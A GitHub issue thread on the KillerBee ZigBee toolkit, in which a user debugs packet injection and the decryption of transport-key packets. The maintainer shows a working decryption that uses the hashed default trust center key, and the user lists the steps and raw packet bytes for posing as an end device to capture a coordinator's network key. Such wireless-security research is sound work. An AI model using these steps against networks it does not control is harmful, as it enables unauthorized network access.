Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

i suspect there is something wrong about the mac footer calculated #256

Closed
jbgod opened this issue May 19, 2022 · 18 comments
Closed

i suspect there is something wrong about the mac footer calculated #256

jbgod opened this issue May 19, 2022 · 18 comments

Comments

@jbgod
Copy link

jbgod commented May 19, 2022

i had use killerbee to write a tool for zigbee network connect.
i just use the kb.inject to send zigbee packet,with a threading capture process to sniffer the pack by another project from github. i can't capture the beacon back by kb.pnext ,because the gateway response the beacon too fast.

until i solve so many troubles about this tool, i found something that make me feel so weird.
i imitate as a normal zigbee device to send association request, but the zigbee gateway response with a Pan access denied
i capture packets on my windows at the sametime as fllows.
企业微信截图_16529350014656
企业微信截图_16529435713717

i found the association request packet send by killerbee, and call the crc check function makeFCS, indeed this packet will also be invalidcrc
image

i can just flow the inject() to RF_txpacket(), i can't find the send packet crc where to calculate. i don't understand the logic of writecmd()

def RF_txpacket(self,packet):
    """Send a packet through the radio."""
    self.writecmd(self.CCSPIAPP,0x81,len(packet),packet);
    #time.sleep(1);
    #self.strobe(0x09);
    return;
@taylorcenters
Copy link
Contributor

What hardware are you using?

@jbgod
Copy link
Author

jbgod commented May 19, 2022

i had try apimote and cc2531 on raspbain with python3.7 and python 3.6
i control the time interval of each packet send(beacon request, association requst, data request) as the normal endpoint device
and tried noral mac_adress and random mac address. but the zigbee pan denied my request.
i had try many way to debug my tool,but i can't solve this problem.
today i use apimote to send packet with a threading process control cc2531 to capture the packet.

it's 0:33 local time now,i will back to my lab after 9 hours
i'm waiting your help.

@taylorcenters
Copy link
Contributor

the apimote should be letting the radio auto generate the crc if you use the inject() function

self.handle.RF_autocrc(1) #let radio add the CRC

self.handle.RF_autocrc(1) #let radio add the CRC

the RF_txpacket is sending a command to the apimote firmware - you can see the code to handle it here:
https://github.com/travisgoodspeed/goodfet/blob/master/firmware/apps/radios/ccspi.c
https://github.com/travisgoodspeed/goodfet/blob/master/firmware/include/ccspi.h

the CCSPIAPP tells it to use this app - 0x81 is the "verb" to use the ccspi_tx function - then has the packet bytes+length to send

@jbgod
Copy link
Author

jbgod commented May 20, 2022

def test_decrypt_cm(self):
    key = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
    nonce = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c'
    enc_data = b'\x17\x36\xb7\x8c'
    mic = b'\xfc\xe0\xce\x86'
    zigbee_data = b'\x00\x00\x00\x00'
 
    (pt_data, mic_check) = decrypt_ccm(key, nonce, mic, enc_data, zigbee_data)

i guess enc_data is aps_payload in packet with pkcs7padding, what is the args zigbee_data.
i capture the transport key packet, i want to decrypt it,
i use zigbee_data = b'\x00\x00\x00\x00' to decrypt my capture packet's aps_payload, the result is not right

@taylorcenters
Copy link
Contributor

can find implementation for decrypt_ccm here:
https://github.com/riverloopsec/killerbee/blob/develop/zigbee_crypt/zigbee_crypt.c

The parameters for this function are:
key: 16-byte decryption key
nonce: 13-byte nonce
mic: 4-16 byte message integrity check (MIC)
encrypted_payload: The encrypted data to decrypt
zigbee_data: The zigbee data within the frame, without the encrypted payload, MIC, or FCS

the zigbee_data is used as auth-data, so it will need to match the same value used during encryption. The decrypted data should be unaffected, the MIC validation will be false if this value doesn't match.

@jbgod
Copy link
Author

jbgod commented May 20, 2022

python3 test.py
32
b'\x94J\x84\xfe\xff\xbd\x1b\xec\t\xa0\x05\x000'
Traceback (most recent call last):
File "test.py", line 103, in
zigbee_aps_decrypt(data)
File "test.py", line 96, in zigbee_aps_decrypt
result = kbdecrypt(scapy_packet, key)
File "/usr/local/lib/python3.7/site-packages/killerbee/scapy_extensions.py", line 474, in kbdecrypt
nonce: bytes = struct.pack('L',source_pkt[ZigbeeNWK].ext_src)+struct.pack('I',source_pkt[ZigbeeSecurityHeader].fc) + sec_ctrl_byte
struct.error: required argument is not an integer

my code

`

data = b'a\x88\xec!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e~!\xc40\t\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec\xdd\xae/>\xde\x19Ff\xb5\xdeHuH\xec\x98B] \x12\xfa\xb4]8>Y\xc87\xa9y0\xc6p\xce\x16\xefM\xdf.\xb97\xeb'
key = bytes([0x5A, 0x69, 0x67, 0x42, 0x65, 0x65, 0x41, 0x6C, 0x6C,0x69,0x61,0x6E,0x63, 0x65, 0x30, 0x39])
scapy_packet = Dot15d4(data)
result = kbdecrypt(scapy_packet, key)

`

i try the function in kbdecrypt,some error happen

@taylorcenters
Copy link
Contributor

taylorcenters commented May 20, 2022

hmm failing here:

nonce: bytes = struct.pack('L',source_pkt[ZigbeeNWK].ext_src)+struct.pack('I',source_pkt[ZigbeeSecurityHeader].fc) + sec_ctrl_byte

from your code I see

>>> scapy_packet = Dot15d4(data)
>>> scapy_packet[ZigbeeNWK].ext_src
>>> scapy_packet[ZigbeeSecurityHeader].fc
368649

so it's failing because your packet isn't using an ext_src. I'll keep looking to see how to fix.

edit:
I will drink coffee to think more clearly - the above conclusion may be incorrect

@jbgod
Copy link
Author

jbgod commented May 20, 2022

i had try decrypt_ccm. the aes-ccm* result is wrong
the packet is transport key packet to send encrypted network key

the packet is(copy from ubiqua)

(encrypted packet data)
61 88 EC 21 38 B8 6F 00 00 08 00 B8 6F 00 00 1E 7E 21 C4 30 09 A0 05 00 94 4A 84 FE FF BD 1B EC
(encrypted aps payload)
DD AE 2F 3E DE 19 46 66 B5 DE 48 75 48 EC 98 42 5D 20 12 FA B4 5D 38 3E 59 C8 37 A9 79 30 C6 70 CE 16 EF
(APS MIC)
4D DF 2E B9
FF FF

(decrypted packet data)
(APS payload)
01 47 F3 20 01 83 1C 1C B6 43 A1 45 7F 3F 80 D9 9D 00 88 31 CA FE FF F9 E3 B4 94 4A 84 FE FF BD 1B EC
(aps MIC)
49 18 A0 1E

from Crypto.Cipher import AES
from Crypto.Util import Counter
import binascii
from zigbee_crypt import *
from killerbee.scapy_extensions import *

#capture on the air
data = b'a\x88\xec!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e~!\xc40\t\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec\xdd\xae/>\xde\x19Ff\xb5\xdeHuH\xec\x98B] \x12\xfa\xb4]8>Y\xc87\xa9y0\xc6p\xce\x16\xefM\xdf.\xb97\xeb'
def zigbee_aps_decrypt(data): 
    #select mac payload         
    #nwk header  8 bytes | nwk payload
    mac_payload = data[9 : -2]
    nwk_header = mac_payload[:8]
    #select nwk payload        
    #aps header (2 bytes) | aps aux header (13 bytes) | aps payload 
    #nwk_payload = data[17: -2]
    nwk_payload = mac_payload[8:]
    aps_header = nwk_payload[:2]
    aps_aux_header = nwk_payload[2:15]
    # content in APS AUX Header
    # APS Security Control (1 bytes) | APS Frame Counter (4 bytes) | Source Address (8 bytes)
    #print(aps_aux_header)
    aps_security_control = aps_aux_header[0]
    aps_frame_counter = aps_aux_header[1:5]
    #print(aps_frame_counter)
    source_address = aps_aux_header[5:]
    #print(source_address)
    aps_payload = nwk_payload[15:-4]
    print(len(aps_payload))
    aps_mic = nwk_payload[-4:]
    #print(aps_payload)
    #add_auth_data
    auth_data = nwk_header + aps_aux_header
    add_auth_data = len(auth_data).to_bytes(2, byteorder = 'big') + auth_data
    add_auth_data = pkcs7padding(add_auth_data)
    #nonce
    nonce = source_address + aps_frame_counter + bytes([aps_security_control])
    #print(nonce)
    enc_data = aps_payload
    enc_data1 = pkcs7padding(aps_payload)
    zigbee_data = b'a\x88\xec!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e~!\xc40\t\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec'
    key = bytes([0x5A, 0x69, 0x67, 0x42, 0x65, 0x65, 0x41, 0x6C, 0x6C,0x69,0x61,0x6E,0x63, 0x65, 0x30, 0x39])
    (pt_data, mic_check) = decrypt_ccm(key, nonce, aps_mic, enc_data, zigbee_data)
    (pt_data1, mic_check1) = decrypt_ccm(key, nonce, aps_mic, enc_data1, zigbee_data)
    print(pt_data)
    print(pt_data1)
    print(mic_check)
    # scapy_packet = Dot15d4(data)
    # result = kbdecrypt(scapy_packet, key)
    # print(result)

zigbee_aps_decrypt(data)
#result
python test.py
35
b"\xd0\xa5`\x14l\x9f\xaa\xf6\xd4\xc6\x86\xf1)\xd1\xc3\x85 W\xf4j\xc1i\xe7\xee\xe8+\xfbV'$ZO\xf4\xf1N"
b"\xd0\xa5`\x14l\x9f\xaa\xf6\xd4\xc6\x86\xf1)\xd1\xc3\x85 W\xf4j\xc1i\xe7\xee\xe8+\xfbV'$ZO\xf4\xf1N\x7f\xf3,\xc1\xfb\xe0\xaa\xd3\xbe\xb9J\x13K"
0

i think i should read the aes-ccm* document andthend read the source code
i had read this paper https://lucidar.me/en/zigbee/zigbee-frame-encryption-with-aes-128-ccm/
but i'm not sure the value of flags and two last bytes of the counter

counter = Flags + nonce + bytes([a]) + bytes([b])

if i got the true counter, i can use aes_ctr to decrypt it

@taylorcenters
Copy link
Contributor

taylorcenters commented May 20, 2022

source_mac_warning

I saved the packet you provided as a pcap to view in wireshark. It also noted an issue with the source address and did not seem to be able to parse or decrypt the packet

>>> bytes(packet)
b'a\x88\xec!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e~!\xc40\t\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec\xdd\xae/>\xde\x19Ff\xb5\xdeHuH\xec\x98B] \x12\xfa\xb4]8>Y\xc87\xa9y0\xc6p\xce\x16\xefM\xdf.\xb97\xeb'

you can save to pcap by

>>> kbwrpcap("/path/to/output/mypacket.pcap", [bytes(packet)])

@jbgod
Copy link
Author

jbgod commented May 20, 2022

i captue it from ubiqua,the transport key packet with seqnum 0xec,the data in python code is capture from pyCCsniffer.
they are same data except the mfc.
i had save it as pcap file.
result.zip
i add the trust center link in ubiqua,so the software decrypt it
image
the packet is the no.158 packet in wireshark
image

@taylorcenters
Copy link
Contributor

Thanks I'll take a look!

@jbgod
Copy link
Author

jbgod commented May 20, 2022

ok,thank you,i work for many days for this thing,i will keep on this weekend.
i am waiting for your response

@jbgod
Copy link
Author

jbgod commented May 21, 2022

i read the zigbee's document about the encryption and decryption
i tried the sec_keyhash to check the first block of AES(Key, A1)
but the result is not the aes_key_a1(m[0:16] ^ c[0:16])
image

In [69]: key
Out[69]: b'ZigBeeAlliance09'

In [70]: hash_key = sec_key_hash(key, b'\x00')

In [76]: aes = AES.new(hash_key)

In [77]: aes.encrypt(A1)
Out[77]: b'\xf90:H\xfai\xd4\x8e\xc5\x8c(j\x99S~\x06'

In [79]: sec_key_hash(key, b'\x00')
Out[79]: b'K\xab\x0f\x17>\x144\xa2\xd5r\xe1\xc1\xefG\x87\x82'

In [80]: A1
Out[80]: b'\x01\x94J\x84\xfe\xff\xbd\x1b\xec\t\xa0\x05\x000\x00\x01'

In [81]: A1 = flags + nonce + bytes([0x00]) + bytes([0x01])

In [82]: aes.encrypt(A1)
Out[82]: b'\xf90:H\xfai\xd4\x8e\xc5\x8c(j\x99S~\x06'

In [83]: aes_key_a1
Out[83]: b'\xd8\xafh\xcd\xfe\x18\xc5z\xa9h\x0b\xd4\r\x93\xa7\xc2'

image
https://reverseengineering.stackexchange.com/questions/9161/what-key-is-being-using-to-encrypt-the-key-transport-in-this-zigbee-capture

edit:
i read some document about the zigbee
it's tell me the key to encrypt aps payload is hash of the the trust center key, but don't tell me more about that,do you know how to realize this hash function

@jbgod jbgod closed this as completed May 23, 2022
@taylorcenters
Copy link
Contributor

Were you able to figure this out? I've tried using

from zigbee_crypt import *
pkt = b'a\x88\xe9!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e|!\xc30\x08\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec\x19\xee\xc7A\xa3Y*\xe81\xcf\xa0\xe6\xf2\x14\xea\xb9\xae\x81\x07\x100\xc7\x8e\x82\xc4g\xbax\x9fD\xae4\x07w\xb6\x9b?xo\xff\xff'
key = sec_key_hash(b'ZigBeeAlliance09', b'\x00')
kbdecrypt(pkt, key)

but didn't have success - I am able to see that wireshark decrypts the packet from your pcap with the key ZigBeeAlliance09

@taylorcenters
Copy link
Contributor

taylorcenters commented May 23, 2022

actually, I think I got this working with the hashed key.

>>> from zigbee_crypt import *
>>> from killerbee.scapy_extensions import *
>>> from scapy.all import *
>>>
>>> key = b'ZigBeeAlliance09'
>>> hkey = sec_key_hash(key, b'\x00')
>>>
>>> pkt_list = kbrdpcap('result.pcap')
>>> pkt = pkt_list[131].copy()
>>> bytes(pkt)
b'a\x88\xe9!8\xb8o\x00\x00\x08\x00\xb8o\x00\x00\x1e|!\xc30\x08\xa0\x05\x00\x94J\x84\xfe\xff\xbd\x1b\xec\x19\xee\xc7A\xa3Y*\xe81\xcf\xa0\xe6\xf2\x14\xea\xb9\xae\x81\x07\x100\xc7\x8e\x82\xc4g\xbax\x9fD\xae4\x07w\xb6\x9b?xo\xff\xff'
>>>
>>> pkt.nwk_seclevel = 5
>>>
>>> nonce = struct.pack('L', pkt[ZigbeeSecurityHeader].source)
>>> nonce = nonce + struct.pack('I', pkt[ZigbeeSecurityHeader].fc)
>>> nonce = nonce + bytes(pkt[ZigbeeSecurityHeader])[0:1]
>>>
>>> a_data = bytes(pkt[ZigbeeAppDataPayload])[:-len(pkt.data)]
>>> mic = pkt.data[-4:]
>>> ct_data = pkt.data[:-4]
>>>
>>> (pt_data, check) = decrypt_ccm(hkey, nonce, mic, ct_data, a_data)
>>> pt_data
b'\x05\x01G\xf3 \x01\x83\x1c\x1c\xb6C\xa1E\x7f?\x80\xd9\x9d\x00\x881\xca\xfe\xff\xf9\xe3\xb4\x94J\x84\xfe\xff\xbd\x1b\xec'
>>> check
1
>>> ZigbeeAppCommandPayload(pt_data)
<ZigbeeAppCommandPayload  cmd_identifier=APS_CMD_TRANSPORT_KEY key_type=Standard Network Key key='G\xf3 \x01\x83\x1c\x1c\xb6C\xa1E\x7f?\x80\xd9\x9d' key_seqnum=0 dest_addr=b4:e3:f9:ff:fe:ca:31:88 src_addr=ec:1b:bd:ff:fe:84:4a:94 |>

I need to put in a PR to fix the issue with missing ext_src to pull source addr from the ZigbeeSecurityHeader field
but hopefully the above will work for you.

@jbgod
Copy link
Author

jbgod commented May 24, 2022

i just have one question can't solved,the first question of this issue. why the association request i send by killerbee is be reject by the zigbee gateway
#256 (comment)

the autocrc(1) result and the makeFCS() result is different in my test. but i don't know how to solve this in the firmware

i wirte some function for me to send the zigbee packet function

def kb_inject_packet(payload):
    global kb_kb
    try:
        kb_kb.inject(payload)    
    except Exception as e:
        sys.stderr.write("ERROR: Unable to inject packet: {0}".format(e))
        sys.exit(-1)
    kb_kb.sniffer_off()

def create_beacon_request_packet(seqnum):
    #beacon request format
    beacon = b"\x03\x08\x00\xff\xff\xff\xff\x07"
    beaconp1 = beacon[0:2]
    beaconp2 = beacon[3:]    
    packet = b''.join([beaconp1, b"%c" % seqnum, beaconp2]) 
    return packet

def create_asso_packet(frame_control, seqnum, destination_pan_id, destination_address, source_address, mac_payload):
    packet = b''.join([frame_control, b"%c" % seqnum, destination_pan_id, destination_address, 
    #soure pan id
    b'\xff\xff', source_address, mac_payload ])
    return packet

def create_data_req_packet(frame_control, seqnum, destination_pan_id, destination_address, source_address, mac_payload):
    packet = b''.join([frame_control, b"%c" % seqnum, destination_pan_id, destination_address, source_address, mac_payload ])
    return packet

def create_acknowledge_packet(seqnum):
    packet = b''.join([b"\x12\x00", b"%c" % seqnum])
    return packet

kb_kb = KillerBee("/dev/ttyUSB0")

i send packet with these function,and capture packets show in my first question
the seqnum of beacon request,association request and data requst are from 100 to 102.
the destination__pan_id destination_address in association request are capture in the beacon back from gateway,source address is randmac
maybe it's FCS error cause the association response with the Pan Access denied

@jbgod jbgod reopened this May 24, 2022
@taylorcenters
Copy link
Contributor

What is mac_payload? can you show an example of what payload is that you send to kb_kb.inject(payload) ?

@jbgod
Copy link
Author

jbgod commented May 25, 2022

all zigbee packet contain the struct of IEEE 802.15.4: MAC Header, Mac Payload, Mac Footer(FCS)
the nwk layer data will be contained in Mac Payload,APS data will be contained inNWK payload show in the packets by ubiqua

image
after reveive the beacon back from gateway. end device send a association request to the gateway.
In the association request packet,the Mac Payload is b'\x01\x8e'

# association request inject data, you can replace the '\xa2' in the third bytes(seqnum)
#i cut off the MFC
#MAC Header bytes.fromhex('23C8A221380000FFFF8831CAFEFFF9E3B4')
#     frame_control '\x23\xc8'
#     seqnum \xa2
#     destination_pan_id \x21\x38
#     destination_address \x00\x00
#     source_pan_id '\xff\xff'
#     source_address '\x88\x31\xca\xfe\xff\xf9\xe3\xb4'
#Mac Payload  b'\x01\x8e'
#      command Frame ID '\x01'
#      compatibility Information '\x8e'
bytes.fromhex('23C8A221380000FFFF8831CAFEFFF9E3B4018E') 
# all association request packet's mac_payload are the same,so i just use mac_payload in my create_asso_packet() to create association request packet
#other data can picked up from beacon packet,just like what zbstrumbler do
# i learn the core ideas of zbstrumbler and write my code

image
after send a association request, end device will send a data request, the Mac Payload is b'\x04'
attention, this type of packets will cause error in Dot15d4,packet's data don't have source pan id

# data request packet inject data, you can replace the '\xa3' in the third bytes(seqnum)
#MAC Header
#     frame_control '\x63\xc8'
#     seqnum \xa3
#     destination_pan_id \x21\x38
#     destination_address \x00\x00
#     source_address '\x88\x31\xca\xfe\xff\xf9\xe3\xb4'
#Mac Payload
#      command Frame ID '\x04'
bytes.fromhex('63C8A3213800008831CAFEFFF9E3B404')

after send association request and data request to the zigbee coordinator
the coordinator will response a association response,it show the status of joining a pan.
image
this is association response packlet with success

#association success's mac payload
bytes.fromhex("02B86F00")

image
this is assocaiton response packet with deny

#association denied's mac payload
the last byte in mac payload wiil be '\x02' mean associate denied

the steps to sniffer the network key as fllow(my conclusion from end point device behavior's analysis)
1.send beacon request,get the assocaite permit beacon packet, read the information of the coordinator(Pan id, source address, extened pan id)(zbstrumber do like this to sniffer the devices)
2.send a association request with a mac address to alloca a short address in the coordinator's Pan network
3.send a data request packet to coordinator
4.receive a association response packet with associate success from coordinator. and send a acknowlege packet with the seqnum in the association response in a very short time(maybe 0.05 s, i can response in 0.005s now)
5.after step1->4 ,the coordinator will send a transport key packet to tell the endpoint device,the network key of this pan.(transport key packet's decrypt we solved lasted weekend)

now,the core issue for killerbee to pretend as a normal zigbee endpoint device and cheat coordinator's network key is
why the association packet sended by killerbee will be denied by coordinator.
the autocrc(1) 's result and the makeFCS()'s result is not the same.
MAC layer is based on IEEE 802.15.4, it's sucurity is base on FCS's crc check

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants